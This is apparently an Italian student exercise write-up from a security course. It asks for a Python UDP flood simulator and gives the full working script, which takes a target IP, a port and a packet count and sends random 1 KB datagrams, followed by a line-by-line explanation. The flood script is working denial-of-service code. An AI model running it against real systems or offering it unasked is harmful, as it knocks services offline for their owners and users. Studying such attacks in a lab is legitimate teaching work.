Traccia:

Gli attacchi di tipo Dos, ovvero denial of services, mirano a saturare le richieste di determinati servizi rendendoli così indisponibili con conseguenti impatti sul business delle aziende.

L'esercizio di oggi è scrivere un programma in Python che simuli un **UDP flood**, ovvero l'invio massivo di richieste **UDP** verso una macchina target che è in ascolto su una porta UDP casuale.

Requisiti:

- Il programma deve richiedere l'inserimento dell'IP target.
- Il programma deve richiedere l'inserimento della porta target.
- La grandezza dei pacchetti da inviare è di 1 KB per pacchetto
- Suggerimento: per costruire il pacchetto da 1KB potete utilizzare il modulo «random» per la generazione di byte casuali.
- Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare.

C: > Users > Daenerys > Downloads > prove test venerdi.py > ...

```python
import socket,random

# chiediamo all'utente di inserire l'ip target
SRV_ADDR = (input("Inserisci l'IP target: "))

#chiediamo all'utente di inserire la porta target
SRV_PORT = int(input("Inserisci la porta target: "))

#Immettiamo ip e porta nella variabile
bersaglio_address = (SRV_ADDR, SRV_PORT)

# Creazione di un socket UDP
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

#chiediamo all'utente quanti pacchetti vuole inviare
numero_pacchetti = int(input("Quanti pacchetti desideri inviare? "))

#invio pacchetti da 1 KB
for _ in range(numero_pacchetti):
    pacchetto = random.randbytes(1024)
    s.sendto(pacchetto, bersaglio_address)

```

- Come prima cosa importiamo i moduli.
  I socket di rete vengono usati proprio per scambiare dati tra due computer > per questo importiamo il modulo socket; il modulo random invece ci serve per andare a creare il pacchetto di 1 KB.

- Chiediamo all'utente di inserire l'IP target e di inserire la porta target.

- Immettiamo l'IP e la porta all'interno della variabile.

- Andiamo a creare un socket UDP > la funzione accetta dei parametri, in questo caso > il primo **AF_INET** specifica che vogliamo un socket che usi IPv4, il secondo **SOCK_DGRAM** invece specifica che vogliamo una connessione UDP.

- Chiediamo all'utente qual è il numero di pacchetti che vuole inviare

- Creiamo il pacchetto da 1 KB con il modulo random.
- E scriviamo il ciclo for per l'invio di pacchetti da 1KB > abbiamo s.sendto > viene utilizzato per inviare i dati.

Ed ecco cosa appare su Wireshark.